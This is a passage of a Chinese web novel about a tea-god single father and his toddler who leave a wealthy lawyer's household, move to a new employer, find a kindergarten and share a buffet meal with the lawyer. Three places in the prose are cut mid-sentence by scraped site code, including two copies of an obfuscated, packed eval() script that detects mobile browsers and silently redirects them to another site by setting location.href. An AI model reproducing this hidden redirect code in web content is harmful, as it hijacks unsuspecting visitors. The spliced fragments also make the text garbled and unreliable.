翌日六点半,白清语收拾好父子俩的衣服,放在绿色大桶的最底层,垃圾桶下窄上宽,零碎的放下面,最后抽走小崽子身上的小棉被,叠好放在上层。 白清语给呼呼大睡的茶宝套上春款外套,放在柔软的棉被上,然后在桶子边缘夹一个夹子,桶盖盖下来时被支起来一条缝,留着通风。 他来南城以后没有添置东西,背上再背一个兜,就是他的所有行囊。 白清语推着垃圾桶,桶轮在地上摩擦出细细的声响,停在电梯前。 他回头看了一眼三楼,拿出手机拍了一张照片。 他不经常拍照片,但这里是他和白小茶的第二个人间落脚点,值得纪念。 电梯下行,停止,白清语以为一楼到了,一抬眼却发现停在了二楼,厢门滑开,外面赫然站着贺任沅。 贺任沅站着不动,他从不跟垃圾桶同乘电梯。白清语这么早倒垃圾?养一个小崽子会每天产生很多垃圾? 他想起以前去当事人家里见过的孩子,他和当事人谈了多久,那孩子就在旁边撕了多久抽纸,堆成了小雪山。 不对……倒垃圾还要背包袱? 贺任沅当即抬步走进,掀开盖子一看,里面居然躺着一个小崽子,脸色刷地沉下来。 他还没开除白清语,白清语竟然要走?还走得这么不体面?拿垃圾桶装孩子?当他家保姆买不起婴儿车吗? 贺任沅顿时气血上涌,买垃圾桶就是为了神不知鬼不觉地把崽子在他眼皮底下运进运出?!刑侦剧看多了是吧。 白清语伸手捏住白小茶的脸蛋,利用幼崽缓和气氛:“他叫白小茶,可爱吧。” 贺任沅不吭声。 白清语松开手,好吧,不是所有人类都喜欢孩子。 电梯停在一楼,白清语见老板不动,率先推着孩子出来。 管家正吩咐刘姐今天给白清语多蒸点包子,一回头看见少爷和白清语一起从电梯出来,再一看两人的脸色,坏了。 “齐叔,我去我发财的同乡那里了。”白清语眼神却看着贺任沅,“我以后不来了,这段时间多谢你和刘姐的照顾,也谢谢老板的大方。” 贺任沅走过去坐在餐桌边,一言不发。 管家急坏了:“少爷,您说句话啊。” 贺任沅:“他要去投靠有钱老乡,我还要挽留不成?” 管家小声:“老乡肯定没你有钱啊。”您也可以砸钱挽留。 刘姐是今早才得知白清语咬走,眼眶一直红红的。李如李愿姜萌萌露出晴天霹雳的眼神。 贺任沅抿着唇,是,全家就他一个恶霸。你们都狼狈为奸怎么这时候不拖着白清语的大腿让他走不了?! 白清语笑了笑,道:“那我先走了,我还要去坐早班公交车。” 管家掀开垃圾桶看见白小茶,总算知道白清语买这垃圾桶干啥,眼角抽了抽:“等等,我给你拿几个包子当早餐。” 管家连忙跑进厨房,不顾烫,从锅里拿了七八个馒头肉包奶黄包,装进纸袋里,递给白清语。 香气腾腾的包子,叫醒了被打扰睡眠好几次的白小茶。 他像小地鼠一样顶开绿色盖子,一冒头就看见管家爷爷的包子:“管家爷爷。” 奶呼呼不谙世事的声音,给豪宅凝滞的气氛注入一丝活力。 “给你。”白清语用纸张包着热乎的馒头,他不敢给白小茶有馅儿的包子,咬一口会被里边的馅汁烫到。 “谢谢爸爸。” “你看看,这么懂事的孩子……”管家用眼神瞥着贺任沅,这么懂事的孩子,你不心动吗? 贺任沅巍然不动。 管家没得到贺任沅的回应,只能尴尬地小声跟白清语解释,“少爷三年前被一个小孩推下山崖,对小孩子比较排斥。” 当时的律所合伙人骗贺任沅去武夷山接一个公益诉讼,结果在山上收买了一个智力障碍却长得壮实的超雄男孩,假意接近贺任沅问路,猝不及防一推…… 贺任沅事后收拾了很多人,唯独动手的人,精神状态和年龄法律都拿他没办法,他就讨厌小孩了。 白清语恍然,那这真是挺惨的,他的行为冒犯了贺任沅的痛处。 他所能做的,就是迅速消失在少爷面前。 白清语加快脚步。 “站住。”贺任沅突然出声。 管家面色一喜。 贺任沅停了十秒,才憋出一句话:“把茶叶留下。” 正在干饭的白小茶:嗷?老板叔叔也在? 白清语:“没有了。” 贺任沅:“我会信——” 白小茶复读:“老板叔叔,没有茶叶了噢。” “宝宝倒光了。”白小茶咬了一口馒头,“爸爸没有了。” 白清语:“是这样的。” 二对一,根本斗不过,贺任沅哪有再质疑的份。 面对白清语他还能拿出老板的威严,可是再加一个孩子,大人的体面也要维持。 还有,“老板叔叔”这四个字他听着刺耳,说明就算白小茶可爱得他想抱一抱,他还是没那么喜欢小孩。 白清语顺利带着白小茶跑路,盖子没盖上,白小茶在天亮的光线里啃馒头,身下是软软的被子,舒服得像头等舱。 白清语给新雇主江先生发消息,说自己会比预计时间早点一点到,现在已经出发了。 江礼帛出国交流去了,有时差,没有第一时间回复。 白清语也不急,慢悠悠推着白小茶散步。 出了贺家的别墅区范围,路上人多了起来,看见白清语的操作,纷纷侧目,眼神都舍不得挪开——垃圾桶里的崽子,可以捡吗? 白清语无意成为焦点,督促白小茶快点吃完:“宝宝你太显眼了,我要盖上盖子。” 白小茶:“噢。” 垃圾桶想挤进公交车的门有些困难,白清语想了想,时间充足,不如直接散步去,两小时就到了。 贺家。 管家还在上眼药:“清语这个人很节省,舍不得买吃舍不得买穿,父子俩过得紧巴巴。” “我就没见这么乖的孩子,要不也不能藏这么久。” “清语刚进城就来了咱这,出去还跟白纸似的,不知道会不会被人骗。” “他的同乡我也没见过,会不会被骗去东南亚大的割腰子,小的卖掉啊。” 贺任沅再也听不下去,抓起车钥匙冲出去。 “少爷你去上哪?” “上班。” “早饭还没吃呢。” “不吃了。” …… 白清语环顾一圈四周,看见一家卖早餐的店,想给白小茶买个豆浆。 他推车过去,看见不仅有奶茶,还有豆浆,一个小朋友刚好美滋滋买了奶茶。 奶茶,是茶叶跟牛奶兄弟一起打拼的新赛道,据说很好喝。 白清语也给儿子买了奶茶,三块钱,跟豆浆的包装一样。 “你乖乖喝奶茶,躲在车里面。” “好。”白小茶吸了一口奶茶,触及味蕾时,整张小脸惊住,艰难咽下去,道,“爸爸,不好喝。” 白小茶甚少负面评价人类食物,唯有茶叶相关,劣质茶粉,茶神幼崽一下子就能吃出来。 世界上居然有难吃的东西! 白清语把奶茶接过来,也喝了一口,眉心一下子蹙紧,太难喝了,这用的真茶叶还是假的茶叶。 他赶紧把奶茶扔了,换了一杯豆浆。 因为白小茶说奶茶不好喝,店主既心虚又热情地免了豆浆的钱。 白清语盖上盖子,推车往江家的方向走,这时天上下起了蒙蒙细雨,细如牛毛的雨丝飘在身上,没有雨的触觉,但有雨的凉意。 春雨贵如油,对人类来说有点凉意,对茶神正好。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>白清语没带伞,也不想打伞,如果在武夷山,春季来得更早一些,他早就带着白小茶在山间淋雨了。 不过马路上不好换衣服,白清语不打算让白小茶淋雨。 雨大了一些,茶神幼崽天生对春雨敏感,就像石头缝底下的小草种子,受到召唤就要发芽。 “爸爸,我也要淋雨。” “好吧。” 白清语停下来,掀开盖子,把衣服干燥的小崽子拎出来。 白小茶笑弯了眼,迈着小短腿,吭哧吭哧地推绿色大桶,起到一个蚍蜉撼树的作用。 雨渐大,马路上车辆的雨刷器更加勤奋地挥动,大巴车上的乘客往窗外俯视,看见城市的清洁工冒雨工作,头发湿漉漉的,身边还带着蹒跚学步的小孩,不由举起手机拍了一张照片,发一条悲天悯人的朋友圈。 [他是清洁工,也是父亲。] 大巴车轮碾着水开过,溅起的水花精准落在小崽子头上。 白小茶摸摸自己的脑袋,跟爸爸一样湿了! 白清语接到江礼帛的消息,问他行李多不多,他让一个朋友去接。 雨天,白清语便不推辞,看见前面有个公交站可以躲雨,把站名发给江礼帛。 “雨太大了,我们去避雨。”白清语道。 “好噢。” 父子俩走到公交车站台下,大雨被挡住,但还是有雨丝飘进来。 不远处,一辆黑色轿车闪着红灯停在路边。 贺任沅不知道白清语会去哪,沿途找了七八个公交站地铁站,终于看见白清语。 他看着这对被雨淋得透透的父子,仿佛全南城的雨都下到了他心里,涨得心脏快要崩溃。 白清语宁愿带着儿子淋雨,也要离开贺家? 外面气温二十度上下,淋雨吹风,不感冒才怪。 对,会感冒。 贺任沅恰好找到了道德制高点,解开安全带。 白小茶的布鞋湿透了,他踩来踩去,咕叽咕叽。 白清语拎住他的后颈,“这里的水脏脏的。” 他打开推车的盖子,从里面拿出一条干燥的毛巾,给小崽子擦脸。 白小茶仰着脑袋闭上眼睛,长长的睫毛被毛巾擦得东倒西歪。 白清语勾起嘴角,幸好他未雨绸缪买了带盖的“儿童车”,虽然特别一点,但没有任何缺点。 一个学生举着雨伞匆匆走过,他手里提着一个垃圾袋,里面是全家吃完早餐制造的垃圾,有牛奶盒,还有果皮纸张,妈妈让他带下楼扔掉,可是出门并没有看见垃圾桶。 下雨天他一手撑伞,一手提着垃圾袋已经有些烦了,看见一个绿色崭新垃圾桶,眼睛一亮,忙抛进去。 咚。 白清语一怔,上前拎出来,他发现垃圾桶的缺点了。 白小茶觉得好好笑:“爸爸,我的窝变成垃圾桶了!” 白清语:“是噢。” 贺任沅目睹了这倒霉一幕,又看见强装乐观的父子俩,心脏好像要被揉碎了。 如果这是白清语的苦肉计的话,他成功得不能再成功。 贺任沅正要叫人,突然,一辆奔驰停在公交站边。 车上下来一个阳光帅气的青年,气质像体育生,笑容满面:“清语,我是江礼帛的朋友,我来接你。” 江礼帛跟他描述是一个带崽的爸爸,那崽特别可爱,不用照片就能认出来。 “你的行李呢?我搬到车上。” 白清语不好意思地说:“就是这个。” 青年看见垃圾桶愣了一秒,随后打开车后盖,力气很大地将垃圾桶扛起来,桶口朝内放置,后备箱空间有限,车盖子只能合不上了。 “快上车吧。” 白清语抱着小崽子上车。 青年调高了空调的温度,道:“对不起,来迟了,我们大概二十分钟到,来,喝热水。” 白清语接过来:“您太客气了。” 白小茶:“谢谢叔叔。” 青年往后瞧了一眼白小茶,眼里闪烁期待:“不谢,叔叔的幸福就靠你了小朋友。” 白清语有些疑惑,啊?这有什么关联吗? 迈巴赫发动,驶入大雨中。 白小茶趴在玻璃上,突然指着外面道:“是老板叔叔的车。” 青年嘴角一扬,隐隐有炫耀之意:“啊,这么明显吗,这辆的确是江教授的车。” 白小茶被带走了注意力,噢,他有新的老板叔叔了。 大雨天,公交站人也少,白清语离开之后,就再也没人过来。 贺任沅静立半晌,抬手抹了一把脸上的雨水。 他似乎乍然失去了什么,心脏空荡荡的一片,但很快被冰冷的雨水浸透浸满。 很好,那人他认识,小富二代,品行端正,大抵交往的挚友也不会骗人去东南亚。白清语一点也不笨,知道投靠同乡飞黄腾达。 那他还站在这里干什么。 15.第 15 章 淋了雨的茶神,在车里茶香四溢。 白清语尚能控制自己,幼崽就无知无觉了,需要爸爸施法加以控制。 白小茶能闻到爸爸的些微气息,脸蛋靠在白小茶胸前,哪壶不开提哪壶,“好香啊爸爸。” 开车的青年道:“车载绿茶香水,挺好闻的吧,我送江教授的。对了,我叫徐诏,诏书的诏。” 白清语微一挑眉,他想到了,他也可以弄个绿茶香囊在身上,以后淋雨就不会露馅了。 车里的暖风几乎将白小茶短短的头发烘干,又变得柔软蓬松。 二十分钟后,白清语抵达一老小区,因为下雨,老太太今天没把母鸡放出来,关在屋里面,花圃空荡荡的。 徐诏率先下车,从副驾拿了把伞撑开,这才打开车后座,给父子俩撑伞。 白清语一下车,回头发现座位上被他的湿衣服弄湿了,“抱歉。” “没事儿,一会儿就干了。”徐诏熟门熟路地掏出钥匙打开一楼的栅栏防盗门,等白清语进去后,折返回后备箱,收了伞,单手就把垃圾桶拖下车,抬上几级台阶,“我就送到这儿了,这会儿伯父伯母应该在屋里看早间新闻,你敲门就行。” 白清语:“你不进来坐坐吗?” 徐诏笑了下,道:“等啥时候伯母不养母鸡了,我才能进去。” 白清语以为徐诏跟贺任沅一样有洁癖,不跟母鸡共处一室,理解地点点头:“那你开车慢点。” 白清语关上门,把白小茶放下地。 老太太听见动静出来,在客厅里看见落汤鸡一样的父子俩,“哎哟”一声,“快去换衣服,这间房我收拾了,你看看行不行。” 白小茶贴着爸爸脚跟站:“爷爷奶奶好。” 老头子慢一步出来,他上回不在家,江礼帛雇的保姆他没看见,听说是带着个孩子,是什么“国家统一指定孙子”,这臭小子安什么心他还能不知道? 别人家的就是别人家的……老头抬了一下老花镜,隔着镜片看见一个乖巧的小崽子,呃……变成自家的也不错。 “快换衣服,别感冒了,吃早饭了没?” 白小茶礼貌回答:“爷爷,吃过了,吃了包子。” 白清语带白小茶进保姆的卧室,把小推车也拉进屋里。这套房子是二十年前的单位分房,三室两厅,客卧都不大,连贺任沅别墅客卧的三分之一都不到。 一张一米五的床,加上一排衣柜,墙角再放个大垃圾桶,就不剩什么空间了。 阴雨天,窗户外面有绿化树,导致一楼采光稍暗,但白小茶以后可以正大光明在户外晒太阳。 …… 贺任沅一身湿透地回到家,难得显现出些颓丧。 这种状态,管家只在贺任沅掉崖醒来后看见过,不过那时贺任沅还余着一股狠劲报复律所合伙人,把经营的律所直接拆得灰都不剩。 那是贺任沅三年的心血,靠一桩桩不眠不寐的官司打响的招牌。 但那律所脏了,他就看都不看,论拿得起放得下,还得是贺任沅这样的狠人。 贺任沅现在的样子明显是“放不下”,然而他都这样了,管家也不忍心问你怎么没追上。 “少爷,吃、吃早餐吧。” 贺任沅行尸般坐在椅子上,衣服湿了也没知觉,拿了一个馒头,眼前突然浮现那个小崽子吃馒头的样子,浮现白清语把吃不完的青团扔在他碗里的样子。 吃饭时没有白清语在耳边叭叭,异样地安静。 贺任沅抬眸一扫,从管家、李如李愿、姜萌萌、刘姐等人身上扫过,他以前怎么没发现,这六个人一半都是哑巴,剩下的也是哑巴。 哑巴姐妹轻轻地比划着什么,这是此时最安全的交流方式。 贺任沅:“姜萌萌,翻译。” 姜萌萌突然被点名,支支吾吾说不出话,她本来就社恐,更不敢在老板面前翻译哑巴姐妹的悄悄话。 少爷的替身宝宝不在,她还没练出胆子呢。 贺任沅耐心地等了三秒,扔下馒头上楼去了。 管家道:“没事,没事,问题不大,等白清语回来就好了。” 刘姐问:“清语还能回来?” 管家胸有成竹:“我有联系方式,等我确定他下一个工作是什么,我就去挖墙角。” 现在情况未明,少爷也还犟着,等他弄清楚白清语转行后的工作,就能对应开出更高的工资和福利挖墙脚——他相信贺映愿意买单。 管家等了等,把白清语炒的茶叶拿出来,泡了一杯热腾腾的茶。 端上楼时,贺任沅正好洗完澡出来,他闻到茶香眼也不抬:“不喝。” 管家:“白清语炒的茶。” 贺任沅:“……放着。” 管家:“您多喝热水。” 贺任沅按了按额头:“你不要自作主张,我不需要他回来当保姆。” 管家一愣,这是不让他去挖墙脚的意思? “那我还要问问白清语在哪上班吗?” 贺任沅不作声,管家明白了,问是要问的,问完再说。 贺任沅端起茶,不喝,放在眼前细看,白清语到底有什么魔力?为什么炒的茶也与众不同? 他不知不觉上了四楼,这里的一切都被白清语清理过,地板干干净净,床上的丑陋床单收走,露出原木底色。 阳台上晒着一件外套,贺任沅仿佛分手后找到跟前任见面的借口,推开阳台门,看清衣服的瞬间,大脑冷却下来。 不是白清语忘记带走的外套,是他的。 白清语居然捡了他扔在垃圾桶的外套,还手洗了挂在这里晒。 外套、领带……领带不能水洗,被洗过之后皱巴巴的像一条农家悬挂的酸菜。 垃圾桶里的也能捡?白清语是不是笨……算了,他连亲生儿子都能放在垃圾桶里,跟不要的小流浪猫似的。 贺任沅想起公交站那一幕,心里仍然闷闷的,仿佛他是主导这一幕的罪魁祸首。 他又没有开除白清语,看管家的反应,白清语早就打算跑路了。 叮—— 微信响了一下,贺任沅解锁屏幕,跳出来一条他爸的消息。 [贺望重]:[图片] 贺任沅点开图片一看,是贺望重不知从哪截图的朋友圈,主题是清洁工与父亲。 贺任沅闭了闭眼,这世界够小的,连他爸都要扎一刀。 [贺任沅]:? [贺望重]:人家一岁的孩子还知道雨中帮爸爸推垃圾桶,我做饭你也没给我拧煤气罐。 [贺任沅]:不一样,您上班没带着我。 [贺望重]:现在一样了,你爸的厨艺事业刚刚开始,我带着你。 [贺任沅]:您想当厨子我就得当猴子? [贺望重]:什么厨子猴子,这是父爱,你估计是诞生不了父爱这东西。 [贺任沅]:遗传性缺失。 [贺望重]:正在输入中…… [贺望重]:放屁,我就等着看你的臭脾气怎么当爸,哼。别比我还差劲! [贺任沅]:还幻想当爷爷。 [贺望重]:[爆炸] * 白清语安顿好之后,道:“明天我请假一天,带茶宝出去找个幼儿园上。” 江母不解:“一岁半上幼儿园会不会太早了?” 白清语想起张秀娟说的话:“不早了,两岁正是关键的时刻。” 他在江家当保姆要负责做饭,江家的厨房是半开放式的,白小茶冷不丁爬进来,万一被油溅了什么的。 他打算把白小茶送去半天的托班,早上十点送,下午三点回,中间的时间他可以好好做一顿午饭,收拾家里,打扫鸡窝。 江母道:“我们俩都闲着,可以看着茶宝,要不,你不做饭,我们点外卖。” 江父认同道:“不要急,幼儿园要好好参详,小孩子进去被欺负了都不会说。” 白清语知道他们的好意,但是—— “我当保姆就是为了让茶宝上城里的幼儿园。” 江母“啊”了一声,没想到白清语他鸡娃程度这么深,想到穷人孩子早当家,遂表示理解:“咱小区附近有很多幼儿园,今年招生都招不满,应该很容易插班读,你选一个近一点的,贵也没关系,奶奶支持茶宝读书。” 白清语:“谢谢阿姨,我会好好挑选的。” 翌日,白清语便带着茶宝去考察小区周边的幼儿园,他看中一点:户外活动空间要大。 看了半天,只有苹果幼儿园的户外场地大,且价格便宜,一个月三千。美中不足的是,设施稀少老旧,但问题不大,白小茶挖个坑就能玩很久。 白清语联系了幼儿园园长,一道出来的还有一个年轻的老师,两人一看白小茶的个子,纷纷摇头:“太小了,下学期再来吧。” 白清语忙道:“他会自己吃饭,上厕所也会说,至少有……三岁的智商。” “是吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687510|143939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”园长将信将疑地看着白清语怀里软了吧唧的小团子,说实话,今年招生困难,幼儿园快倒闭了,他是很乐意多招一个学生弥补房租,但孩子太小了费老师。 “正好开饭了,你让他独立吃个饭看看。” 白清语:“行。” 幼儿园的饭菜主打不出差错,都是容易入口消化的食物,趴在爸爸怀里睡觉的白小茶,在饭点闻到食物的味道,自动醒来,看见有饭就吃。 园长和老师自从白小茶从爸爸怀里抬起脸就震惊坏了,从业这么多年,这么讨人喜欢的小崽子还是第一次见,光是看着心都要化了。 更吃惊的是,小小年纪,吃饭比饭堂里其他大三岁的孩子更专注熟练。 吃完还会抹嘴。 白清语:“请问能收吗?” 园长和老师对视一眼,如获至宝:“能、能。” 园长:“周老师,你快去拿个入学合同和表格。” 合同跟学费和保险有关,表格就是了解一些家庭基本情况。 白清语发现,原来小孩子入学,竟然还调查家长的学历! 他老实地在上面填写“文盲”,然后又在工作单位上面填写“保姆”。 “没上大学可以填初高中。”周老师提醒。 白清语:“也没有。” 周老师:“小学?” 白清语:“……” 周老师看见他表格空白了一大片,用词顿时小心:“孩子的妈妈?” 白清语:“单亲。” 周老师:“除你以外的紧急联系人?” 白清语打开手机扒拉了下,最后填写了管家齐云的电话。 周老师不小心看见他只有五个联系人的通讯录,面露讶异。 “白小茶爸爸,您可以关注我们苹果幼儿园的公众号,我们每天都会发一些育儿知识和园内情况。” “公众号是什么?”白清语又触及知识盲区。 周老师于是拿着白清语的手机,关注了公众号,加入了“苹果001小树苗班级群”。 “好了,您明天可以送白小茶来上学,这是初次入园需要携带的物品清单。” 白清语看了一眼,备用衣服鞋子、午睡小毯子等等。 他带着白小茶斥巨资买了午睡的小毯子,欣慰道:“宝宝,从明天起,你就是一个高学历的宝宝。” 比爸爸高就是高。 “将来一定很好找工作。”白清语不由想起贺任沅,当律师很赚钱吧?要是白小茶也能当律师就好了。 完成了一件大事,白清语心情轻松地牵着白小茶往回走,看见一堆人围着在看什么,不时发出叫好声。 人类的热闹一定要凑。 白清语抱着白小茶挤到空位,“宝宝,是杂技团。” 不知道哪来的杂技团,跟物业通好气,被允许进入小区内部的空地表演,两个人叠罗汉翻跟头,热完场子,又从笼子里放出一个鹦鹉。 这只鹦鹉被训练过,会根据哨子指令飞来飞去,落在观众的手上。 “想不想鹦鹉也飞到你手上啊?”杂技团老板喜气洋洋地说。 白小茶大声道:“想——噢!” 杂技团老板:“这只鹦鹉会识字,你们举起一张钱,谁的金额最大,鸽子就会飞到谁面前。” 白小茶:“爸爸!” 白清语从兜里掏出钱,给了白小茶一张百元大钞。他上次让白小茶不要跟麻雀玩,这次得补偿。 白小茶兴奋地举起来,等鹦鹉飞到他这里。 现场竟然只有白小茶举起了现金。白清语有些疑惑,随即想通,因为很多人身上不携带现金了。 这样更好,白小茶互动的几率更大。 下一刻,鹦鹉果然朝白小茶飞来。 然后,叼走了他手里的钱。 鹦鹉迅速钻进杂技团老板的箱子里,出来时嘴上没有钱了。 白小茶看着空空的手,唔?钱没有了? 白清语:“……” 父子俩凑不出一个幼儿园文凭,只能面面相觑。白清语感觉周围人的视线也隐约像看傻子。 白小茶知道一百块钱是很多很多,邓爷爷要卖很多鸡蛋才能有一张。 “爸爸,钱去哪里了?” 白清语:“因为、因为小鸟饿了,要拿钱去买吃的。” 白小茶弯起眼睛:“是这样啊。” 白清语抱紧儿子:“宝宝,外面的世界挺危险的。” 16.第 16 章 白清语要维护自己在茶宝面前高大的无所不能的茶神父亲形象,道:“钱可以再赚……” “窝里横是不是?” 贺任沅松开手,像给自己的智障老婆找场子,直接走到了场子中央,跟杂技团老板交涉。 白清语怕他们吵起来,走远一点,坐在花坛边捂住了白小茶的耳朵,大人吵架,小崽不听。 他自己伸着脖子竖起耳朵,贺任沅总是对他不假辞色,他还没见过贺任沅跟别人吵架。 杂技团老板一看老实人父子都没出声,坐在那儿窝窝囊囊的样子,挺起胸膛,道:“你谁啊,那是打赏,人家孩子自愿给的,亲爹也没说话,你——” 贺任沅张口就是颠倒事实:“看清楚了,那是我儿子,我才是亲爹。” 杂技团老板定睛一看,不好,那冤种崽子还真是这个律师的儿子,长的就是亲父子的样子。 这真爸一看就不好惹,不像那边那个假的,好欺负。 贺任沅轻笑一声,一句话就打破老板的认知,比预想更简单,接下来好办了。 “第一,表演前没有任何提示,这一百块钱不能界定为打赏性质,我儿子不能预见钱会被鹦鹉叼走。 第二,我是律师,刚失业,时间很多。” 杂技团走南闯北,老板也是识相的人,别人一较真他就妥协。律师能把黑的说成白的,尤其是这种人模狗样又失业的律师,斤斤计较。 不一会儿,贺任沅捏着钞票回来。 一百出去,九十元回来,各退一步,十块钱打赏鹦鹉一包吃食。 贺任沅跟老板交涉声音很低,白清语怎么都听不见,好奇得差点想动用法力。 就这么简单,两句话就拿回来了? 茶神陷入沉思,贺任沅有点本事,可见,他在贺家只是短期内趁贺任沅反应不过来才占了上风,幸好他跑得快,相处久了一定会吃亏。 贺任沅把找零交给小崽子:“小鸟买完吃的剩下的钱。” “谢谢老板叔叔。”白小茶攥着一把钱,就觉得很多很多,老板叔叔真厉害,他要送一根头发给—— 白清语默默把小崽子的手从脑袋上薅下来,禁止他当场送茶叶。 茶宝你真是糊涂了,不是教过不能大变茶叶吗? 只有三个人在场时,白清语又获得了智商上的高地。 贺任沅有些飘然,郁结了两日的愁绪散开。大律师在这为了一百块争口角,实属罕见,想到这,他又压下了嘴角。 “你现在在哪上班?”贺任沅盯着白清语。 白清语不想被前任老板看不起,眼珠一转,机智道:“管理岗。” 小型养殖场管理员,手下有三个员工。 贺任沅:“哪家公司?” 白清语填写幼儿园表格时很诚恳,面对前任一点都不诚恳:“私人公司。” 贺任沅喉结滚了滚,他才不在乎白清语在哪上班,只是看孩子可怜,道:“我就帮齐叔带句话。” 白清语:“齐叔有什么话?” 贺任沅:“舒贺集团下属幼儿园,提供员工子女低价入园福利,齐叔之前帮你报了名,已经通过了。” “比你找的幼儿园好。” 家属幼儿园就在舒贺集团大楼附近,给齐云一百个胆子也不敢在贺任沅周边暗度陈仓,他的手也伸不到那么远。 贺任沅面不改色地瞎说。 要获取员工福利,最好还是回到他这里上班。 如果在舒贺大楼上班,就能顺路接送孩子。 如果在他家借住,还能顺路蹭他的车上下班,白清语不是最节省了吗? 如果不愿意回去上班,勉强也能上幼儿园。 白清语:“可我已经辞职了。” 说起这个贺任沅就来气,“名额定了就是定了,难道员工辞职我还得把他的孩子就地退学?” 白清语有点心动,问了一下幼儿园地址。 贺任沅说了个地址,白清语一查,发现离这儿有点远,并且所经路线经常堵车。 “不了,谢谢齐叔的好意,我已经跟幼儿园签好合同了,茶宝读这家我可以走路接送。” 贺任沅精心设计的台阶,没人往下走,非要走羊肠小道,他深吸一口气,“话我说完了,去不去随你。” 白清语:“谢谢你。” 贺任沅想转身就走,又生生忍了下来,想起在管家手机里看见的茶宝干饭视频,全家就他没亲眼见过,心里的阴暗就像遗憾爆炸后留下的蘑菇云那么大。 吃了他那么多饭,凭什么,他也要看。 “行,你都离职了,请你吃顿散伙饭吧。” 白清语吃惊,灰溜溜地离职竟然还有老板补散伙饭? 贺任沅问茶宝:“茶宝要不要吃饭?” 白小茶眼睛微亮:“叔叔,是免费的吗?” 贺任沅心脏微微一痛,为茶宝这个小心翼翼的问题:“嗯,叔叔给你的都是免费的。” 白小茶仰头,看着爸爸的下巴:“爸爸?” 白清语:“好吧,谢谢少爷。” 贺任沅问茶宝:“你喜欢吃什么?” 根据他得到的情报,是什么都能吃。他爸做的那么难吃的东西都是茶宝替他解决的,请茶宝吃一顿饭很合理吧? 茶宝:“都可以,叔叔!” 贺任沅:“走吧,我车停在那边。” 白清语抱着崽子站起来,贺任沅手指动了动,似乎想从他手里接过,但因为从来没抱过小孩,顾虑丛生,犹豫不决。 他走在白清语侧边,用余光观察了一分钟,发现白清语抱孩子也没有很高明的技巧,抄住白小茶腋下,从白清语怀里提走。 “你走得太慢了,茶宝都饿了。” 白清语:“嗯?” 他一愣神,就只能看见贺任沅抱着孩子快步走远的背影,速度快得像抢孩子。 距离拉开五米后,贺任沅像背后长了眼睛一样停下来:“愣着干什么?” 白清语不可思议地跟上去,他很少,或者说从没有,让别人帮他抱孩子,除了邓伯。 白小茶是从他树根上长出来的小茶树,他为他遮风避雨,虽然长得慢,但也慢慢在长大了,怎么到了贺任沅手里,感觉又变小了很多。 白小茶趴在贺任沅肩膀上,两颗黑头发的脑袋挨得很近,贺任沅拉开车门时,从玻璃看见自己的影子,嘴角是上扬的。 贺任沅拉了拉嘴角,把孩子还给白清语,“抱孩子坐后面。” 白小茶:“老板叔叔,你换车了?” 这辆车没有见过。 贺任沅:“嗯,工作需要。” 白清语抱着白小茶端坐在后面,他是个车盲,但直觉这辆车比以前停在别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701507|143939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墅车库里的两辆都贵。 贺少爷的生意越做越大了。 这是既上次坐徐诏的奔驰后,第二次坐很贵的四轮车。 贺任沅开车不像他的脾气一样暴躁,反而十分稳当,不抢红灯,起步平稳,体验舒适。 出门只坐公交的白清语在心中偷偷比较两个司机,觉得还是贺任沅技术更好一些。 车停在一家高档商场的车库里,等白清语摸索到豪车隐藏的开车门方式时,贺任沅已经好整以暇地站在外面,他一开门,便只能把白小茶让给贺任沅抱,方便自己下车。 十七层一整层都是餐厅,贺任沅让白小茶自己选。 一家摆台花里胡哨的自助餐厅,立刻吸引了白小茶的注意力。 白小茶靠在叔叔怀里,视野非常好,透过餐厅明亮的玻璃,直接看见台面上五颜六色的水果、糖果、饮料、蛋糕、海鲜…… 白小茶像幼狼掉进羊窝里一样震惊,指着琳琅满目的餐台:“叔叔,这是什么地方?!” 贺任沅从善如流地走进去:“随便吃的地方。” 白清语进去时留意了一下海报,看见价格顿时心痛. 按人次算钱,那白小茶算不算人呢?不能算吧,要不自己不要当人了,他去厕所当一会儿茶树好了。 贺任沅轻松地单手抱娃,把神游天外的白清语拉到座位上。 等白清语反应过来时,贺任沅已经带着白小茶端着大盘子去拿食物了。 自助餐品种繁多,凡是没见过的,白小茶都好奇地问:“叔叔,这是什么?” 不知不觉,白小茶省略了老板两个字,贺任沅稍稍觉得顺耳一些。 “这是狗爪螺。” 拿。 “叔叔,这个是什么?” 贺任沅瞥着下边的牌子,冒充百科全叔:“这是牛奶果。” 拿。 一会儿的功夫,两人端着盘子回来,白小茶面前的食物足够把他的小脸蛋都遮住。 白清语:“你不能由着他随便拿,太多了,他吃不完。” 贺任沅无所谓道:“我不是没拿吗?他吃不完的我吃。” 他反而鼓励白小茶再拿点,因为不够他吃的。 白清语好心提醒:“你没必要吃茶宝的剩饭。” 贺任沅冷哼:“我乐意。” 十分钟后,贺任沅微微有点后悔,因为白小茶要了一个大碗,把所有食物,包括剥了壳的海螺、龙虾、坚果、面条、葡萄、火龙果等等都混合在碗里,然后大快朵颐。 这一碗的营养太丰富了,白小茶闭着眼睛都能干饭,只管用勺子挖。 贺任沅的一点后悔在白小茶干饭攻势下化解。 